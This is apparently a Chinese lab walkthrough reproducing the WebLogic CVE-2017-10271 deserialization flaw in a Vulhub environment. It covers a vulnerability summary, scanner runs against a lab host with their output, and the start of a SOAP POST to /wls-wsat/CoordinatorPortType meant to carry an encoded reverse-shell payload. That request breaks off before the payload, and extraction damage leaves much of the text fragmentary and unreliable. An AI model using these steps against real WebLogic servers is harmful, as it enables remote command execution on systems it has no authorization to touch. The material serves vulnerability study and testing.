文章目录

1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描nacsweblogicScanner3、漏洞验证

说明内容漏洞编号CVE-2017-10271漏洞名称Weblogic

10.3.6

反序列化漏洞CVE-2017-10271漏洞评级高危影响范围10.3.6漏洞描述Weblogic的WLS

Security组件对外提供webservice服务其中使用了XMLDecoder来解析用户传入的XML数据在解析的过程中出现反序列化漏洞导致可执行任意命令修复方案打补丁上设备升级组件

1.1、漏洞描述

WebLogic是美国Oracle公司出品的一个application

server确切的说是一个基于JAVAEE架构的中间件WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

将Java的动态功能和Java

Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Security组件对外提供webservice服务其中使用了XMLDecoder来解析用户传入的XML数据在解析的过程中出现反序列化漏洞导致可执行任意命令

1.2、漏洞等级

PathVulhub/weblogic/CVE-2017-10271

启动测试环境

-d等待一段时间访问http://your-ip:7001/即可看到一个404页面说明weblogic已成功启动。

Weblogic的登陆地址是your-ip:7001/console

2、漏洞扫描

┌──(kali㉿kali)-[~/tools/nacs/0.0.3]

└─$

[SSH-2.0-OpenSSH_9.2p1\x20Debian-2]

[05:55:59]

poc-yaml-weblogic-cve-2019-2729-2

[05:56:02]

poc-yaml-weblogic-cve-2019-2725

v10

poc-yaml-weblogic-cve-2017-10271

reverse

项目地址https://github.com/0xn0ne/weblogicScanner

┌──(kali㉿kali)-[~/tools/weblogic/weblogicScanner]

└─$

[-][CVE-2018-2894][192.168.80.141:7001]

Not

[][CVE-2017-10271][192.168.80.141:7001]

Exists

[][CVE-2014-4210][192.168.80.141:7001]

Found

[-][CVE-2019-2890][192.168.80.141:7001]

Not

[-][CVE-2016-0638][192.168.80.141:7001]

Not

[!][CVE-2018-3245][192.168.80.141:7001]

Connection

[-][CVE-2018-3245][192.168.80.141:7001]

Not

[-][CVE-2018-3191][192.168.80.141:7001]

Not

[-][CVE-2020-2883][192.168.80.141:7001]

Not

[-][CVE-2020-2555][192.168.80.141:7001]

Not

[][CVE-2020-2551][192.168.80.141:7001]

Found

[][CVE-2019-2618][192.168.80.141:7001]

Found

[][CVE-2019-2725][192.168.80.141:7001]

Exists

[][CVE-2018-3252][192.168.80.141:7001]

Found

[][CVE-2020-14750][192.168.80.141:7001]

Exists

[][CVE-2019-2888][192.168.80.141:7001]

Found

[!][CVE-2020-14882][192.168.80.141:7001]

Connection

[-][CVE-2020-14882][192.168.80.141:7001]

Not

[][CVE-2019-2729][192.168.80.141:7001]

Exists

[][CVE-2018-2893][192.168.80.141:7001]

Exists

[][CVE-2017-3506][192.168.80.141:7001]

Exists

[][CVE-2016-3510][192.168.80.141:7001]

Exists

[][CVE-2017-3248][192.168.80.141:7001]

Exists

[-][CVE-2018-2628][192.168.80.141:7001]

Not

[-][CVE-2020-14883][192.168.80.141:7001]

Not

访问/wls-wsat/CoordinatorPortType页面

改变请求方式为post

21发送如下数据包注意其中反弹shell的语句需要进行编码否则解析XML的时候将出现格式错误

POST

text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7

Accept-Encoding:

ADMINCONSOLESESSIONvq4hk23V21rs9yG5nGTvYkGppFGmFrvzzM2tvtw2pSnKQCsjPmvt!-1799840789

Connection:

xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/

soapenv:Header

xmlns:workhttp://bea.com/2004/06/soap/workarea/

java